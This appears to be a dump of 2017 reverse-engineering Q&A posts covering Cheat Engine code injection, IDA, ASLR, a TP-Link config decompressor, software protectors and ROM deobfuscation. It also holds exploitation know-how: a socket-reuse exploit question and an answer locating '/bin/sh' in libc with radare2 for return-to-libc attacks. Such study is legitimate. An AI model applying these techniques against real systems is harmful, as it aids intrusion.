    In that case, your health address is being pointed to by [ecx+0C]. The value there is being moved into the eax register. What you could do is create a code injection at that instruction with which to write a custom health value to [ecx+0C] before the mov instruction runs. That would change the actual value of health, and thus that custom value is then read from the address. This is easy to do with Cheat Engine (via its native code injection functionality), but otherwise requires you to look into code-caving.

    \n\n

    2. To use a shared instruction like the one you've found, you have to find a way to differentiate what you want to influence, from the rest of the addresses being written to. This can look like a daunting task, especially when you find a shared instruction like in GameMaker games where HUNDREDS of addresses are all being written to through one instruction, but fear not!

    \n\n

    Your options are to find differences in the following places:

    \n\n
    A) Memory addresses (Including the stack)\nB) Registers (General purpose, FPU/XMM, special purpose, etc.)\n
    \n\n

    Right-click on the shared instruction and choose \"Find out what addresses this instruction accesses.\" A new window will pop up showing addresses that instruction is writing to. From that window, you can do a whole lot of neat things.

    \n\n

    First, Cheat Engine provides a handy Data/Structure Dissect tool that you can use to compare values between multiple memory addresses. If you select all the addresses (Shift-click, or Ctrl-click the ones you're interested in), then right-click, you'll see an option to open the data dissect tool. There, you can compare values to find differences in the same offsets!

    \n\n

    Something else you can do from that list of addresses is hit Ctrl + R to view the contents of registers. There, you can usually find a register containing a different value between all addresses (you'll want to look for a differing value that's NOT a dynamic memory address, because that value will change when restarting the game).

    \n\n

    Finally, when viewing the contents of registers, there are two little buttons on that window: 'S' and 'F'.

    \n\n

    'S' lets you view the stack. There, you can look for values to differentiate. 'F' lets you view the contents of the FPU, and XMM registers. Sometimes, the latter can be helpful because, say, the FPU might have been used ONLY for health and not for any other values that shared instruction is writing to.

    \n\n

    Bringing it all together, you'll use whatever unique value(s) you find to write a custom code injection that will allow you to single out the value you're interested in. Let's say your instruction is this:

    \n\n

    mov [edx+0C],eax

    \n\n

    And let's say that, in register ebx, you found a unique value of 2B.

    \n\n

    Your injected code might look something like this:

    \n\n
    label(customCode)\nlabel(restoreFlags)\nlabel(originalCode)\nlabel(return)\n\ncustomCode:\n  pushf //Preserve flags register by pushing onto the stack\n  cmp ebx,2B //Does ebx contain the value you're interested in?\n  jne restoreFlags //If not, restore flags register and resume normal execution\n  mov eax,(float)100 //If so, move a custom health value into eax for originalCode\n  //Execution flow from here moves to restoreFlags\n\nrestoreFlags:\n  popf //Restore flags register\n  //Execution flow from here moves to originalCode\n\noriginalCode:\n  mov [edx+0C],eax //eax contains either value from normal execution, or custom health\n  jmp return //Return to the point we injected and resume normal execution\n
    \n\n

    I don't mean this as shameless self-promotion, but I've been running a YouTube channel for the better part of 3 years that teaches reversing via game-hacking. If games are your medium and you enjoy learning via videos, I think you'd really learn a lot from my CE tutorial series, specifically. I also teach game-specific hacks, like Cuphead, ELEX, etc.

    \n\n

    Good luck!

    \n" }, { "Id": "16716", "CreationDate": "2017-11-05T19:33:25.507", "Body": "

    I am reverse engineering a binary in IDA Pro and I came across the function sub_8048FB6 which I think provides the address to a function pointer. The decompilation of the subroutine is as follows and I'm trying to find result.

    \n\n
    int __cdecl sub_8048FB6(int a1)\n{\n  int result; // eax\n  int v2; // [esp+0h] [ebp-10h]\n  int v3; // [esp+4h] [ebp-Ch]\n\n  v2 = *(_DWORD *)dword_804C0D4;\n  v3 = *(_DWORD *)(8 * a1 + 4 + *(_DWORD *)dword_804C0D4);\n  if ( a1 & 1 )\n    result = *(_DWORD *)(8 * a1 + v2) - v3;\n  else\n    result = *(_DWORD *)(*(_DWORD *)(8 * a1 + v2) - v3);\n  return result;\n}\n
    \n\n

    The dword_804C0D4 variable I will guess is pointing to a memory location and is only referenced 2 times in the binary as follows:

    \n\n
    Up  r   sub_8048FB6+6   mov     eax, ds:dword_804C0D4\nUp  w   sub_804A24E+3   mov     ds:dword_804C0D4, offset unk_804C0B8\n
    \n\n

    So, my guess is the offset to the variable unk_804C0B8 is the value which is in the address pointed by ds:dword_804C0D4. If that's the case, with respect to where is the offset calculated? Once I double-click on unk_804C0B8 I get:

    \n\n
    LOAD:0804C0B8 unk_804C0B8     db 0E8h   ; DATA XREF: sub_804A24E+3\u2191o\nLOAD:0804C0B9                 db 0FFh\nLOAD:0804C0BA                 db 0FFh\nLOAD:0804C0BB                 db  8Bh\nLOAD:0804C0BC                 db  85h\nLOAD:0804C0BD                 db  68h ; h\nLOAD:0804C0BE                 db 0BFh\nLOAD:0804C0BF                 db 0FBh\nLOAD:0804C0C0                 db 0FFh\nLOAD:0804C0C1                 db  89h\nLOAD:0804C0C2                 db 0C2h\nLOAD:0804C0C3                 db 0B8h\nLOAD:0804C0C4                 db    0\nLOAD:0804C0C5                 db    0\nLOAD:0804C0C6                 db    0\nLOAD:0804C0C7                 db    0\nLOAD:0804C0C8 dword_804C0C8   dd 0FFEB0EE8h   ; DATA XREF: sub_8049D1E+2B1\u2191r\n
    \n\n

    But I don't know how to read the value with all those dbs. What is the size of offset unk_804C0B8 and it's value? Am I proceeding correctly?

    \n", "Title": "Function Pointer Assembly Calculations", "Tags": "|ida|pointer|", "Answer": "
    mov     ds:dword_804C0D4, offset unk_804C0B8\n
    \n

    so if this instruction was executed first before the sub was called then

    \n

    0x804c0d4 would contain 0x804c0b8

    \n

    v2 = *(_DWORD *)dword_804C0D4;

    \n

    so v2 would be 0x804c0b8

    \n

    assuming int a1 == 0

    \n
    v3 = *(_DWORD *)(8 * a1 + 4 + *(_DWORD *)dword_804C0D4);\n
    \n

    v3 would be ((8 * 0) + 4 + 0x804c0b8) == (0 + 4 +0x804c0b8) == *(0x804c0bc) == 0xfbbf6885

    \n
                                  db  85h\nLOAD:0804C0BD                 db  68h ; h\nLOAD:0804C0BE                 db 0BFh\nLOAD:0804C0BF                 db 0FBh\n
    \n

    to define a dword you can press d two times at 0x804c0bc

    \n

    since a1 was assumed to be 0 the if clause is not satisfied\nand the execution moves to else clause

    \n
    result = *(_DWORD *)(*(_DWORD *)(8 * a1 + v2) - v3);\n
    \n

    **(8*0 + 0x804c0b8) == **(0x804c0b8) == *0x8bffffe8

    \n
    LOAD:0804C0B8 unk_804C0B8     db 0E8h   ; DATA XREF: sub_804A24E+3\u2191o\nLOAD:0804C0B9                 db 0FFh\nLOAD:0804C0BA                 db 0FFh\nLOAD:0804C0BB                 db  8Bh\n
    \n

    you don't show what is at 8bffffe8

    \n

    result should be what is at 8bffffe8 - 0xfbbf6885

    \n

    edit

    \n

    incase a1 == 1 then it appears you have a NULL pointer\nso you should reverse some thing else first which moves some data to\n0x804c0c4

    \n" }, { "Id": "16717", "CreationDate": "2017-11-06T01:00:44.550", "Body": "

    Every time I restart windows it breaks the patch I've made to an executable where I've called a function from the dll user32.dll. Currently the offset for the function call resides at 0x76E3CDB4, but when I restart my computer it will change to some other address. Why is this and what can I do to make sure my assembly code will always call the function properly?

    \n", "Title": "Why does this function calls offset move when I restart windows", "Tags": "|disassembly|windows|assembly|winapi|", "Answer": "

    This may be due to Address Space Layout Randomization \naka ASLR (e.g. see this overview by Symantec)

    \n\n

    System modules' load addresses are randomized on each boot and \nexecutable images' are randomized on each execution in OS > Vista

    \n\n

    you can check that with some simple code like this

    \n\n
    :\\>cat aslr.cpp\n#include <windows.h>\n#include <stdio.h>\nvoid main (void)\n{\n    HMODULE hMod = LoadLibraryA(\"user32.dll\");\n    if(hMod){\n        printf(\"My Load Addr\\t%p My user Addr\\t%p\\n\" , &main,hMod);\n        FreeLibrary(hMod);\n    }\n}\n
    \n\n

    compiled and executed the result as follows

    \n\n
    :\\>for /L %i in (1,1,10) do aslr.exe\n\n:\\>aslr.exe\nMy Load Addr    00121000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    00031000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    00FB1000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    002F1000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    011B1000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    00181000 My user Addr   773A0000\n\n:\\>aslr.exe\nMy Load Addr    01121000 My user Addr   773A0000\n
    \n\n

    to be sure you patch right you should work with RVA (Relative Virtual Address)

    \n\n

    that is get the base of module every time and add a fixed offset that you determined earlier every time

    \n\n

    suppose you patched @ 0x12345678 and when you patched the module was loaded at 0x10000000 then you have a difference of 0x2345678

    \n\n

    next time if the module was loaded at 0x20000000 you use the address 0x20000000+0x2345678 == 0x22345678

    \n" }, { "Id": "16728", "CreationDate": "2017-11-06T23:16:20.957", "Body": "

    A bit of background; I'm trying to inject my own code into the old game SimTower with the ultimate goal of reverse engineering it in the same way that OpenRCT2 was created.

    \n\n

    Since SimTower is distributed as a 16-bit NE executable I'm having a bit of trouble with injecting my own DLL and changing the main method to my own (as in this article https://bwrsandman.wordpress.com/2014/12/27/first-steps-to-reverse-engineering-an-executable/), but I think I've found another way.

    \n\n

    One of the first things that SimTower does is to run WAVEMIXINIT from WAVMIX16.DLL. As far as I can tell, if the return value is 0 it shows a dialog box and disables the sound.

    \n\n

    \n\n

    My plan now is to simply create a faux wavmix16 dll that will (for now) always return 0 from that function. That should allow me to get an entry point to run my own code, and get the game started.

    \n\n
    typedef void *HANDLE;\n\nHANDLE __far __pascal WAVEMIXINIT() {\n  // while (1) {;};\n  return 0;\n}\n\nvoid __far __pascal STUB4() {}\nvoid __far __pascal STUB5() {}\nvoid __far __pascal STUB6() {}\nvoid __far __pascal STUB7() {}\nvoid __far __pascal STUB9() {}\nvoid __far __pascal STUB10() {}\nvoid __far __pascal STUB11() {}\nvoid __far __pascal STUB12() {}\n
    \n\n

    Compiling this into a dll and naming it wavmix16.dll seems to work, and I can see that the call is coming in to my function, since if I uncomment the while loop the program will be stuck inside it.

    \n\n

    For some reason though, the program crashes as soon as I get to my return statement.

    \n\n

    (wine)

    \n\n
    \n

    Unhandled page fault on read access to 0x0000fa30 at address 0x148f:0x0000000c (thread 002b)

    \n
    \n\n

    (Windows XP)

    \n\n

    \n\n

    This is the assembly of my DDL function that gets called. I'm a little bit unsure of why there is more stuff than just a mov and retf (like the nop?), but I'm new to all this so maybe that's normal.

    \n\n

    \n\n

    This is the assembly of the original DLL function:

    \n\n

    \n\n

    Really appreciate any help, thank you!

    \n", "Title": "Returning value from faux DLL", "Tags": "|dll|calling-conventions|", "Answer": "

    Your faux function is not fixing up the stack on the epilog of the function. It should have

    \n\n
    pop ds\npop bp\ndec bp\n
    \n\n

    at the end by the calling convention.

    \n\n

    If you look at the original function it fixes up the stack correctly.

    \n\n

    Let's say the stack pointer had the value of 1000h coming into the function (after CS:IP is already pushed on the stack for the far call). You would then have in the original function

    \n\n
    ; sp = 1000h\nmox ax, ds     \n...\npush bp        ; sp = 0ffeh\nmov bp, sp     ; bp = 0ffeh\n...\nlea sp, [bp-2] ; sp = 0ffch\npop ds         ; sp = 0ffeh\npop bp         ; sp = 1000h\nretf\n
    \n\n
    \n\n

    To make the compiler used in the question, the Digital Mars compiler dmc.exe, generate these instructions when returning from a far function, pass the flag -Wm which will \"Generate INC BP / DEC BP to mark far stack frames\".

    \n" }, { "Id": "16735", "CreationDate": "2017-11-07T21:49:44.117", "Body": "

    I've been looking at some kernel debugging and came to see this:

    \n\n
    0: kd> dt nt!_OBJECT_TYPE ffffd0851aad6c90\n   +0x000 TypeList         : _LIST_ENTRY [ 0xffffd085`1aad6c90 - 0xffffd085`1aad6c90 ]\n   +0x010 Name             : _UNICODE_STRING \"Process\"\n   +0x020 DefaultObject    : (null) \n   +0x028 Index            : 0x7 ''\n   +0x02c TotalNumberOfObjects : 0xa2\n   +0x030 TotalNumberOfHandles : 0x553\n   +0x034 HighWaterNumberOfObjects : 0xfc\n   +0x038 HighWaterNumberOfHandles : 0xbf5\n   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER\n   +0x0b8 TypeLock         : _EX_PUSH_LOCK\n   +0x0c0 Key              : 0x636f7250\n   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffa38f`ff5e94f0 - 0xffffa38f`ff3ae580 ]\n
    \n\n

    Most I can understand, or figure out what they suppose to mean.\nI have no idea what HighWater means, and how it differs from the TotalNumberOfObjects/Handles. \nJust from weird curiosity, any one has any idea what does it mean?

    \n", "Title": "HighWaterNumberOfObjects/Handles meaning?", "Tags": "|windows|kernel|shared-object|", "Answer": "

    Not really RE, but this likely means \"the highest number of objects/handles ever seen\" (in this session).\nFrom Wikipedia:

    \n\n
    \n

    A high water mark is a point that represents the maximum rise of a\n body of water over land. Such a mark is often the result of a flood,\n but high water marks may reflect an all-time high, an annual high\n (highest level to which water rose that year) or the high point for\n some other division of time.

    \n
    \n" }, { "Id": "16743", "CreationDate": "2017-11-09T12:10:55.460", "Body": "

    I have been trying to wrap my head round this stuff so bear with me.

    \n\n

    I have a Tp-Link TX-VG1530. From the gui you can download the config file however the file is encrypted, I include a portion of the conf.bin file below

    \n\n
    q=4\u2021|&YF\u00cb#T\u00f9\u00f0\u00b6\u00bf\u00c4/1\u00del^\u00e0h[\u00da\u2039\u00b3l\u00d9\u20ac\u00cd\u00c1.\u00a9-&\u00dad\u0160DT\u2022\u00b0\u00f4y\u00aej\u00f23R7B\u00ae5#B5m\u00a8)\u00bd=Q\u203a\u00ce\\\u00f2\u00ef-\u00cf\u00c7\u00eb\u00c4+\u00ae\u2021h\u2022Y\u2021\u00cd@\u00dd\u00a0\u00fa\u00f2%\u00d7\u00fd\u00db\u00e2\u00e7\u00f3\u203a\u00d00&r\u0178\u00d8\u00eb\u00f7vj[\u00f1\u00dbx\u00b9\u00dam\u2021z\u2020\u00e4\u00ed}\u00d6s\u2022q\u00eaQRs\u00c6\u00f0\u00e8\u00cd\u017d\u2019|\u00db\u02dc\u2019\u00b2\u00b3\u20ac\u00ac#\u00ec\u01784\u0153\u00e4\u00b3\u00bdn\u00db\u00ffl\u201e\u00af~\u201a,\u2022R\u00c1g\u00cf;\u00f6\u00cf\u00cb\u00c0w\u2021\u00a7\u201e,W\u2030\u00d7J\u00ee\u00a0<\u00a7x}\u00f4\u017eZ\u00f1\u02c6gFPdB\u00a7\u00ea\u00c1\u00d7g\u02c6\u00d1=\u2030\u00bbu\u00cb\u017e\u00cfH\u017e\u00e2KE\u00a2\u00be.\u00e2\u02dc/\u00d73\u00a0\u00c5\u00e6\u00e7\u00b1W\u00d4\u2122\u0152i\u00f5\u00c1\u00d5\u0192S\\%*\n\u00d5^\u00e7\u00fd\u00ad<w\u00b1\u00f8\u201d\u00f0\u2019\u00b4<\u00d8m\u00ceF1\u02c6\u00c0q\u00fb\u00a7\u2018\u00a5\u00f0\u00dbA\u00c8\u00ce-\u00ff1z\u201d\u00ad9]\u00e37\u201d\u2026b\u00abY\u00e5[\u00f6\u201e*i'{\u00fc'N\u0152\u00c0\u00e7\u20184\u00d1\u00e1\u00d0m\u00b9\u00fc\u00b4B\u00b7U^w\u00aa\u00bdI\u00d9\u201a8\u00fb]\u00b3#)L\u00fb-Di\u017e\n
    \n\n

    Using firmware modification kit I am able to extract the file system and looking at the upload page for the conf file (/web/main/backNRestore.htm) I can see the following

    \n\n
    formObj.target = \"up_frame\";\nformObj.action = \"/cgi/confup\";\nformObj.submit();\n
    \n\n

    Doing a quick grep I can see that /cgi/confup appears in /usr/bin/httpd. looking at this with IDA pro

    \n\n

    \"enter

    \n\n

    From the following post I believe I should be able to retrieve the encryption method but I cannot seem to see anything relating to keys etc

    \n\n

    http://teknoraver.net Decrypting TP-Link conf file

    \n\n

    I include a link to the file here

    \n\n

    httpd file link

    \n\n

    Using the strings command on the file I see nothing that relates to aes, des, md5, key, dec, enc etc.

    \n\n

    There are some tools such as tlrecode.sh which appear to decode the file slightly (this script seems to utilise the same key found in the teknoraver post), the decrypted file is not 100% though

    \n\n
    \u00d7<?xml version=\"1.0\"?>\n<DslCpeConfig>\n  <InternetGatewayDevice\n  <Summa\u00afry val=\".:1.1[](Baseli`ne:1, EthVLA`N:1)\"\n
    \n\n

    Can anyone suggest the next steps to take

    \n", "Title": "TP-Link encrypted backup file TX-VG1530", "Tags": "|linux|encryption|embedded|", "Answer": "

    Adapted code Shelwien for linux/gcc

    \n\n
    #define uint int\n#define byte char\n#define put(c) putchar(c)\n#define get() getchar()\n#include <stdio.h>\n\n\nstruct lztp_t {\n  byte  hash[16];\n  uint  size;\n};\n\nuint bitbuf, bitnum;\n\nuint getbit( void ) {\n  uint r;\n  if( bitnum==0 ) {\n    bitbuf = get();\n    bitbuf|= 256*get();\n    bitnum =16;\n  }\n  r = (bitbuf>>15)&1; bitbuf<<=1; bitnum--;\n  return r;\n}\n\nuint getvar( void ) {\n  uint r = 1; do r = 2*r + getbit(); while( getbit() );\n  return r;\n}\n\nint main( void ) {\n  uint c,i, winptr, id, l,d;\n\n  enum{ winlog=16, winsize=1<<winlog, winmask=winsize-1 };\n  byte win[winsize];\n\n  struct lztp_t hdr;\n  for( i=0; i<sizeof(hdr); i++ ) if( (c=get())==-1 ) break; else ((byte*)&hdr)[i]=c;\n  if( c==-1 ) return -1;\n\n  winptr=0; bitbuf=0; bitnum=1;\n  while( winptr<hdr.size ) {\n    id = getbit();\n    if( id==0 ) {\n      // literal\n      c = get();\n      put( win[(winptr++)&winmask]=c );\n    } else {\n      // match\n      l = getvar()-2+4;\n      d = (getvar()-2)*256;\n      d+= get() + 1;\n      while( l-- ) {\n        c = win[(winptr-d)&winmask];\n        put( win[(winptr++)&winmask]=c );\n      }\n    } // if id\n  } // while\n\n  return 0;\n}\n
    \n" }, { "Id": "16744", "CreationDate": "2017-11-09T13:03:35.270", "Body": "

    I am trying to use Frida on a Java application which is obfuscated with ZKM (Zelix KlassMaster).

    \n\n

    When I attach to the process, it seems the JVM is not loaded:

    \n\n
    [Local::PID::23585]-> Java.available\n\nfalse\n
    \n\n

    I have the same behavior on Burp which is run by the following command :

    \n\n\n\n

    Does anyone know why Frida does not detect the JVM?

    \n", "Title": "How to use Frida on a Java application ? (non Android application)", "Tags": "|java|instrumentation|", "Answer": "

    To my best knowledge, Frida has no support for non-android java applications.

    \n\n

    For desktop java applications you are better of using Java agents or the lower level JVM-TI interface. There's also the pyspresso framework which uses the Java Debug Wire Protocol to debug java applications using a python code base.

    \n\n

    Also have a look at this answer for more ideas.

    \n" }, { "Id": "16748", "CreationDate": "2017-11-10T10:12:17.677", "Body": "

    I am trying to exploit a program where I have to reuse a socket.

    \n\n

    recv looks like this:

    \n\n
    int recv(\n_In_  SOCKET s, // socket ID\n_Out_ char   *buf,\n_In_  int    len,\n_In_  int    flags\n);\n
    \n\n

    I want to find where the socket ID is on the stack. How do I find this using Immunity Debugger?

    \n", "Title": "how to find memory objects using immunity debugger", "Tags": "|debugging|immunity-debugger|shellcode|", "Answer": "

    Put a INT3 (F2) breakpoint on the recv function (To jump to that function, hit CTRL+G then type recv to the textbox which just appeared, and then hit enter) within Immunity Debugger, and observe the stack (lower right corner) for the socket ID when the breakpoint is hit.

    \n" }, { "Id": "16753", "CreationDate": "2017-11-12T13:31:36.607", "Body": "

    I'll be releasing a piece of software soon and I'm looking for good protectors. The three that came to my attention were: Enigma, Themida and VMProtect. I searched a lot online but I couldn't find many comparisons. They are all in a similar price range so that is not a huge problem. I was wondering what the main differences are between them? Virtualization, string encryption, packing etc. I couldn't find much info about that.

    \n\n

    All replies are appreciated! Thanks

    \n", "Title": "How do Enigma, Themida and VMProtect compare to each other?", "Tags": "|decompilation|encryption|protection|", "Answer": "

    Disclaimer: I do not work for any of the companies that make either of these pieces of software. All details shown are from my own personal research.

    \n\n

    This comparison will only include the protectors I personally have a licence for: VMProtect and Themida. I do not have a licence to Enigma, so I cannot tell about its protection features.

    \n\n

    I will also not be including the licencing features of either, I will only be talking about the protection methods they employ.

    \n\n

    To get us started, here is the \"unprotected\" version of a simple loop function that we will be protecting with both protectors to see what they output.

    \n\n

    \"\"

    \n\n

    VMProtect

    \n\n

    VMProtect has 3 protection modes: Mutation, Virtualization, and \"Ultra\" (both methods combined)

    \n\n

    Mutation does what it says it does: it mutates the assembly code to make automated analysis of it harder. The resulting mutated code varies drastically per compilation.

    \n\n

    \"\"

    \n\n

    On the other hand, Virtualization translates the code into a special format that only a special virtual machine can run. It then inserts a \"stub\" function to call the VM where the actual code was supposed to be ran.

    \n\n

    \"\"

    \n\n

    Note that this VM inserts a lot of overhead. The original ~100kb application was increased to around ~600kb after protection using this method. You can decrease the size though by turning on the packing feature inside of VMProtect.

    \n\n

    There is also functionality for checking if debuggers are being ran, string encryption, methods of grabbing a unique identifier for the computers hardware, etc.

    \n\n

    Themida

    \n\n

    Themida is a little different from VMP. While it also has the same protection features of VMP, it does it much differently and has a few more features that VMP does not have. Note though that these features that VMP does not have do not work on all application types.

    \n\n

    For Themida's Mutation, it does it quite differently to VMP. It adds lots of random operations to the assembly instead of specifically mutating each opcode.

    \n\n

    \"\"

    \n\n

    Themida's Virtualization however has one cool feature that VMP does not: Multiple VM architectures. Themida has the ability to have different virtual machines (using a different architecture) inside of the same application. There is also different 'styles' of VM: some faster but less secure, some more secure but less fast, etc.

    \n\n

    \"\"

    \n\n

    Of course, the problem with this is pretty obvious: the size. A protected application with all protection options disabled is around ~2mb from the original ~100kb. Luckily, Themida also has a packing feature to reduce the size, where it reduced it to around ~1mb.

    \n\n

    Themida also has a few other features: \"ClearCode\", where it clears the assembly after it ran, \"Encode\", decrypting the code at runtime and re-encrypting it after it was executed, string encryption, and functions to check code integrity.

    \n\n

    Conclusion

    \n\n

    Both protections are quite good when used properly. Which one you buy is up to you, not me, so I would recommend you to choose wisely for the application you wish to protect and to see which features you specifically want.

    \n" }, { "Id": "16755", "CreationDate": "2017-11-12T22:12:46.743", "Body": "

    What is radare2's equivalent to GDB's find &system,+9999999,\"/bin/sh\"?

    \n", "Title": "what is radare2's equivalent to GDB's 'find &system,+9999999,\"/bin/sh\"'", "Tags": "|radare2|gdb|", "Answer": "

    First and foremost we should open the binary in debug mode with radare2

    \n\n
    $ r2 -d file\n
    \n\n

    The string /bin/sh resides in the system function of libc so the library should first be loaded to the memory in order for us to find the string there. Let's continue the execution of the program until its Entrypoint. In this point libc should already be loaded to the memory.

    \n\n
    [0xf7f9bc60]> dcu entry0\nContinue until 0x565914a0 using 1 bpsize\nhit breakpoint at: 565914a0\n[0x565914a0]> \n
    \n\n

    dcu stands for debug continue until

    \n\n

    To find /bin/sh we should use radare\u2019s search features. By default radare is searching in dbg.map which is the current memory map. In our case it's not guaranteed that /bin/sh will be in our current memory map. Therefore, we want it to search in all memory maps so we need to configure it:

    \n\n
    [0x080483d0]> e search.in = dbg.maps\n
    \n\n

    You can view more options if you\u2019ll execute e search.in=?. To configure radare the visual way, use Ve.

    \n\n

    Searching in radare is done with the / command, you can see the enormous amount of search options by executing /?.

    \n\n

    Let's search for /bin/sh:

    \n\n
    [0x565914a0]> / /bin/sh\nSearching 7 bytes from 0x00000000 to 0xffffffffffffffff: 2f 62 69 6e 2f 73 68 \nSearching 7 bytes in [0x56591000-0x56592000]\nhits: 1\n\n<..truncated..>\n\nSearching 7 bytes in [0xf7d97000-0xf7f66000]\nhits: 1\n\n0xf7f1180a hit1_2 .b/strtod_l.c-c/bin/shexit 0canonica.\n
    \n\n

    Et Voil\u00e0! radare found the string in 0xf7f1180a.

    \n\n

    To speed things up we can tell radare to start searching from system which is inside libc.\nFirst we need the address of system in libc, we can do this with dmi and then configure search.from to start from system.

    \n\n
    [0x565914a0]> dmi libc system\nvaddr=0xf7dd3700 paddr=0x0003c700 ord=566 fwd=NONE sz=1126 bind=LOCAL type=FUNC name=do_system\nvaddr=0xf7ebf470 paddr=0x00128470 ord=4988 fwd=NONE sz=102 bind=LOCAL type=FUNC name=svcerr_systemerr\nvaddr=0xf7dd3c50 paddr=0x0003cc50 ord=6919 fwd=NONE sz=55 bind=WEAK type=FUNC name=system\n\n[0x565914a0]> e search.from=0xf7dd3c50\n[0x565914a0]> / /bin/sh\nSearching 7 bytes from 0xf7dd3c50 to 0xffffffffffffffff: 2f 62 69 6e 2f 73 68 \nSearching 7 bytes in [0xf7dd3c50-0xf7f66000]\nhits: 1\n\n<..truncated..>\n\n0xf7f1180a hit2_0 .b/strtod_l.c-c/bin/shexit 0canonica.\n
    \n\n

    There you go! Now you can print the string using ps @ 0xf7f1180a or use the address however you want.

    \n" }, { "Id": "16762", "CreationDate": "2017-11-13T19:32:34.523", "Body": "

    I have a ROM dump from an unknown controller, which must be reversed (as a task). It looks like encrypted, packed or obfuscated. Binwalk did not give any information(\"cisco os experimental microcode for firmware\"), manual searching for know signatures (packers, CPU, filesystems) has not produced any result. \nIn hex you can see pieces of repeating open text (0x6AD869h - 0x6AE6D3, 0x949C35 - EOF), first few string of file are this strings with some bit shift(probably), but i could't find a some system for this. \nOpen text:

    \n\n
    00949c40  53 65 65 6b 20 41 47 52  45 45 4d 45 4e 54 20 66  |Seek AGREEMENT f|\n00949c50  6f 72 20 74 68 65 20 64  61 74 65 20 6f 66 20 63  |or the date of c|\n00949c60  6f 6d 70 6c 65 74 69 6f  6e 2e 00 53 65 65 6b 20  |ompletion..Seek |\n00949c70  41 47 52 45 45 4d 45 4e  54 20 66 6f 72 20 74 68  |AGREEMENT for th|\n00949c80  65 20 64 61 74 65 20 6f  66 20 63 6f 6d 70 6c 65  |e date of comple|\n00949c90  74 69 6f 6e 2e 00 53 65  65 6b 20 41 47 52 45 45  |tion..Seek AGREE|\n
    \n\n

    First few strings:

    \n\n
    00000000  da 7c 77 5b 08 c6 31 c5  45 d1 eb bd 4f 57 20 66  |.|w[..1.E...OW f|\n00000010  6e 73 20 74 68 80 8a 56  61 74 65 20 6f 83 8a 51  |ns th..Vate o..Q|\n00000020  6e 6d 70 6c 65 74 69 5b  6e 3f d6 e3 65 0f 8d f4  |nmpleti[n?..e...|\n00000030  a8 e4 94 e0 2e 28 37 20  31 4c 66 6f 72 20 74 68  |.....(7 1Lfor th|\n00000040  65 20 64 61 74 74 f6 13  67 20 63 6f 6d 95 c6 57  |e datt..g com..W|\n00000050  74 69 6f 6e fd 4f 2b 26  42 6e 39 17 14 08 52 ad  |tion.O+&Bn9...R.|\n00000060  18 17 a4 15 20 77 b9 6a  a0 74 48 65 a0 64 03 44  |.... w.j.tHe.d.D|\n00000070  31 82 c1 66 25 66 6d 6e  3d 03 1d 15 44 26 39 0e  |1..f%fmn=...D&9.|\n00000080  61 24 0e 45 18 45 33 2e  37 36 45 4d 45 4e 54 20  |a$.E.E3.76EMENT |\n00000090  66 6f 72 20 74 68 65 20  39 61 74 65 21 6f a4 13  |for the 9ate!o..|\n000000a0  63 6f 6d 70 6c 65 74 06  92 91 d1 a3 e4 1a ac b5  |complet.........|\n
    \n\n

    See:

    \n\n\n\n

    Can anyone advise how to encrypt/unpack this, or what am I doing wrong?

    \n", "Title": "Unpacking ROM dump", "Tags": "|binary-analysis|firmware|deobfuscation|rom|", "Answer": "

    Seek AGREEMENT for the date of completion.\\0 or Seek AGREEMENT for the date of completion.\u00a0 is a key applied by either addition or XORing input with output. You can see how it lines up with the hexdump. It should be relatively easy to write a program which would remove this level of obfuscation.

    \n\n
    00000000  da 7c 77 5b 08 c6 31 c5  45 d1 eb bd 4f 57 20 66  |.|w[..1.E...OW f|\n00000010  6e 73 20 74 68 80 8a 56  61 74 65 20 6f 83 8a 51  |ns th..Vate o..Q|\n00000020  6e 6d 70 6c 65 74 69 5b  6e 3f d6 e3 65 0f 8d f4  |nmpleti[n?..e...|\n00000030  a8 e4 94 e0 2e 28 37 20  31 4c 66 6f 72 20 74 68  |.....(7 1Lfor th|\n00000040  65 20 64 61 74 74 f6 13  67 20 63 6f 6d 95 c6 57  |e datt..g com..W|\n00000050  74 69 6f 6e fd 4f 2b 26  42 6e 39 17 14 08 52 ad  |tion.O+&Bn9...R.|\n\n00000000  53 65 65 6b 20 41 47 52  45 45 4d 45 4e 54 20 66  |Seek AGREEMENT f|\n00000010  6f 72 20 74 68 65 20 64  61 74 65 20 6f 66 20 63  |or the date of c|\n00000020  6f 6d 70 6c 65 74 69 6f  6e 2e 00 53 65 65 6b 20  |ompletion..Seek |\n00000030  41 47 52 45 45 4d 45 4e  54 20 66 6f 72 20 74 68  |AGREEMENT for th|\n00000040  65 20 64 61 74 65 20 6f  66 20 63 6f 6d 70 6c 65  |e date of comple|\n00000050  74 69 6f 6e 2e 00                                 |tion..          |\n
    \n" }, { "Id": "16769", "CreationDate": "2017-11-15T18:58:35.143", "Body": "

    Using IDA, can I specify 2 Sub-Routines (really, it's 2 WINAPI calls) and have IDA create a \"map\" between the 2 points? I want to know all the possible branches the EIP can take from one instruction to another instruction.

    \n\n

    I am using IDA-Pro 6.0 (or 6.1).

    \n\n

    Thank you.

    \n\n

    Edit - I can only use static analysis tools for this.

    \n", "Title": "IDA - Create Process Flow Map Between 2 Sub-Routines", "Tags": "|ida|", "Answer": "

    You can use the alleycat plugin to find the path between two functions/basic blocks etc.

    \n\n

    Example

    \n\n

    Finding the path between two functions http_init_main and http_parser_set_challenge in a mipsel elf.

    \n\n
      \n

    1. Go to View -> Find paths from current function to...

      \n\n

      \"enter

      2. \n

    2. Select the target function.

      \n\n

      \"enter

      3. \n

    3. Alleycat would display the path to reach the selected function from initial function. Additionally, the corresponding basic blocks would be highlighted in the graph view.

      \n\n

      \"enter

      4. \n
    \n" }, { "Id": "16790", "CreationDate": "2017-11-19T16:53:37.310", "Body": "

    When I disassemble a jmp I get:

    \n\n
    [0x004073d4]> pd 1\n            0x004073d4      ff2584804000   jmp dword [sym.imp.kernel32.dll_GetModuleHandleA] ; 0x408084 ; \"j\\x85\"\n
    \n\n

